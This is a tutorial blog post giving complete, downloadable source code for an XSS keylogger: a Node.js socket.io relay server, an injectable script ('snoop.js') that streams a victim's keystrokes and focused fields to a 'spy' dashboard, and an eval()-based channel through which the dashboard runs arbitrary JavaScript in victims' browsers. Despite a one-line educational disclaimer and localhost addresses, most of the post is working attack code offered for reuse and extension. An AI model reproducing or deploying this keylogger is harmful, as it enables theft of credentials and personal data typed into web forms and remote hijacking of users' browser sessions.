Build KeyLogger using Node.js & WebSockets to exploit XSS vulnerabilities in a Site

Build KeyLogger using Node.js & WebSockets to exploit XSS vulnerabilities in a Site

Welcome Folks I am back with another blog post. In this post we will be exploiting XSS vulnerability of a Website by building a Test KeyStroke Logger which will record keystrokes of the user entering a simple form in the Website as shown below. This is particularly useful for People who are just starting out in Web Development and don’t know much about XSS Vulnerability and it can affect your Website if any kind of vulnerability is there on your Site. All the source code of the application is also given in the description just check the source code and also try to extend the application according to your needs. The demo of the application is shown below in the video.

 

READ  JAVASCRIPT FETCH API EXAMPLE – BUILD A RANDOM USER GENERATOR APP

 

Demo of Application

 

 

READ  Firebase Authentication in Github using Javascript - Coding Shiksha

 

Introduction

The XSS Keylogger project is based on a client side script which is to be embedded in a a vulnerable page that listens to keystrokes on a page, and broadcasts it to an actively running Node server.

The client side script connects using a persistent websocket connection to the Node server. The Node server then in turn relays the information received to a remote monitoring dashboard which could optionally be running.

The remote monitoring dashboard is also able to send a JavaScript snippet that is run remotely on a XSS exploited web page that is being visited by an unsuspected user by piping it through eval()

 

READ  jsPDF Vue js Generating Dynamic PDF from Form - Coding Shiksha

 

Motivation

This project was created for XSS educational purposes and to raise awareness on how such a vulnerability can be exploited.

Important: This solution should not be used for any malicious or illegal purposes.

 

READ  What is the Difference Between Node and Nodemon

 

Setup

Install npm, the Node package manager, using the Homebrew package manager (or using any other means of getting npminstalled. Once installed, run npm install to resolve and install project related dependencies.

brew install npm
npm install
READ  Complete Node.js Express MongoDB CRUD Project with Validation

 

Running

Run node index.js to start up the Node server. The server will run on port :3000 by default. The snooping client script will be available to access on the following URL:

http://localhost:3000/snoop.js
READ  Make a Fully Responsive Website in Materialize CSS with Source Code in 2019

Usage

 

To demonstrate this utility locally, point your browser to the following two URLs:

  • http://localhost:3000/innocent.html – a sample web page that has been exploited with the XSS keystroke logger client script. Any text typed on the input fields of this page will immediately be made broadcasted and made visible to a sample remote spy dashboard.
  • http://localhost:3000/monitor.html – a spy dashboard that logs all remote keystrokes from exploited clients.

From the spy dashboard, you can type and send a JavaScript snippet to run remotely in the context of the exploited client. Some tame code snippets that you can try:

// Show a popup remotely
alert("You've been Sn00ped!");

// Change background of client page to pink
document.body.style.background = 'pink';

 

READ  Redis Caching in Node.js

 

Full Source Code

index.js

 

var path = require('path'),
    express = require('express'),
    app = express(),
    server = require('http').Server(app),
    io = require('socket.io')(server),
    spy,
    victim;

app.use(express.static(path.join(__dirname, 'public')));

spy = io
    .of('/spy')
    .on('connection', function(socket){
        console.log('a spy connected ');

        socket.on('remoteJs', function(js){
            console.log('spy/remoteJs:', js);
            victim.emit('runRemoteJs', js);
        });

        socket.on('disconnect', function(){
            console.log('spy disconnected');
        });
    });

victim = io
    .of('/victim')
    .on('connection', function(socket){

        console.log('a victim connected');

        socket.on('update', function(change){
            console.log('victim/type:', change);
            spy.emit('update', change);
        });

        socket.on('disconnect', function(){
            console.log('victim disconnected');
        });
    });

server.listen(3000, function(){
    console.log('listening on *:3000');
});

 

READ  jsPDF Vue js Generating Dynamic PDF from Form - Coding Shiksha

 

snoop.js

 

/* globals io */
(function(){

    function loadScript(url, callback) {
        // Adding the script tag to the head as suggested before
        var head = document.getElementsByTagName('head')[0];
        var script = document.createElement('script');
        script.type = 'text/javascript';
        script.src = url;

        // Then bind the event to the callback function.
        // There are several events for cross browser compatibility.
        script.onreadystatechange = callback;
        script.onload = callback;

        // Fire the loading
        head.appendChild(script);
    }

    function loadAllScripts() {
        loadScript('http://localhost:3000/socket.io/socket.io.js', init);
    }

    function spyOnKeyDown(socket) {
        document.onkeydown = function (e) {
            e = e || window.event;

            socket.emit('update', {
                type: 'type',
                msg: e.keyCode
            });
        };
    }

    function spyOnFieldFocus(socket) {
        var inputFields = document.querySelectorAll('input,textarea'),
            fieldName = function(field) {
                if (field.id) {
                    return '#' + field.id;
                }
                if (field.className) {
                    return '.' + field.className;
                }
                return '[' + field.type + ']';
            },
            emitChange = function() {
                socket.emit('update', {
                    type: 'element-change',
                    msg: fieldName(this)
                });
            };

        for (var i = 0; i < inputFields.length; i++) {
            var field = inputFields[i];
            field.onfocus = emitChange;
        }
    }

    function listenToRemoteJs(socket) {
        socket.on('runRemoteJs', function(js) {
            eval(js);
        });
    }

    function init() {
        var socket = io('http://localhost:3000/victim');

        spyOnKeyDown(socket);
        spyOnFieldFocus(socket);
        listenToRemoteJs(socket);
    }

    loadAllScripts();

}());

 

READ  Firebase Authentication in Github using Javascript - Coding Shiksha

 

monitor.html

 

<!doctype html>
<html>
<head>
    <title>Socket.IO chat</title>
    <style>
        * { box-sizing: border-box; }
        body { font: 13px Helvetica, Arial; }
        h1 { margin-bottom: 20px; }
        #messages { list-style-type: none; margin: 0; padding: 0; }
        #messages li { padding: 5px 10px; }
        #messages li:nth-child(odd) { background: #eee; }
        textarea { display: block; margin-bottom: 20px; width: 100%; height: 300px; font: 16px Consolas, Courier, monospace; }
        .col { float: left; width: 50%; padding: 10px; }
    </style>
</head>
<body>
    <div class="col">
        <h1>Sn00p Monitor Dashboard</h1>
        <ul id="messages"></ul>
    </div>
    <div class="col">
        <h1>Embed Remote JavaScript</h1>
        <textarea id="console" placeholder="Enter JavaScript to run against all remote clients"></textarea>
        <button id="sendJS">Remote Embed</button>
    </div>
</body>

<script src="/socket.io/socket.io.js"></script>

<script>
    var messages = document.getElementById('messages'),
        console = document.getElementById('console'),
        remoteJsButton = document.getElementById('sendJS'),
        chat = {
            newLineInitialised: false,
            append: function(keyCode) {
                if (this.newLineInitialised) {
                    this.newLine();
                    this.newLineInitialised = false;
                }
                var lastLine = document.querySelector('#messages li:last-child'),
                    charCode = String.fromCharCode(keyCode);
                switch(keyCode) {
                    // Del key
                    case 8:
                        console.log('lastLine.innerText', lastLine.innerText);
                        lastLine.innerText = lastLine.innerText.slice(0, -1);
                        this.newLineInitialised = false;
                        return;
                    // Space key
                    case 13:
                        charCode = '<br/>';
                        break;
                    case 32:
                        charCode = ' ';
                        break;
                }
                lastLine.innerHTML += charCode;
                console.log('keyCode', keyCode, charCode);
                this.newLineInitialised = false;
            },
            newLine: function(msg) {
                var li = document.createElement('li');
                if (msg) {
                    li.innerHTML = msg;
                }
                messages.appendChild(li);
                this.newLineInitialised = true;
            }
        },
        socket = io('/spy'),
        lastElement,
        newLine = false,
        elementChange = function(newElement) {
            if (lastElement !== newElement) {
                var message = 'User changed element to: <b>' + newElement + '</b>';
                chat.newLine(message);
                lastElement = newElement;
            }
        };
    socket.on('update', function(change){
        switch(change.type) {
            case 'type':
                chat.append(change.msg);
                break;
            case 'element-change':
                elementChange(change.msg);
                break;
        }
    });
    remoteJsButton.onclick = function() {
        if (console.value !== '') {
            socket.emit('remoteJs', console.value);
            console.value = '';
        }
        return false;
    };
</script>

</html>

 

READ  Build a Simple Password Generator in Node.js - Coding Shiksha

 

innocent.html

 

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>XSS Vulnerable</title>
    <style>
        * { box-sizing: border-box; }
        body { font: 13px Helvetica, Arial; }
        h1 { margin-bottom: 20px; }
        label, input, textarea { float: left; font-size: 16px; }
        label { width: 70px; }
        .form-group { display: block; clear: both; overflow: auto; margin-bottom: 20px; }
    </style>

    <script src="/snoop.js"></script>
</head>
<body>
    <h1>XSS vulnerable page with xss-keylogger installed</h1>

    <form>
        <div class="form-group">
            <label for="name">Name</label>
            <input id="name" type="text" />
        </div>

        <div class="form-group">
            <label for="age">Age</label>
            <input id="age" type="text" />
        </div>

        <div class="form-group">
            <label for="bio">Bio</label>
            <textarea id="bio" rows="5" cols="35"></textarea>
        </div>

        <div class="form-group">
            <input type="button" value="Submit" />
        </div>
    </form>

</body>
</html>

 

Download Source Code Zip

 

READ  JAVASCRIPT FETCH API EXAMPLE – BUILD A RANDOM USER GENERATOR APP

 

Leave a Reply

Close Menu

Indian Desi Tools - Ultimate Tools Website

Demo Description


This will close in 20 seconds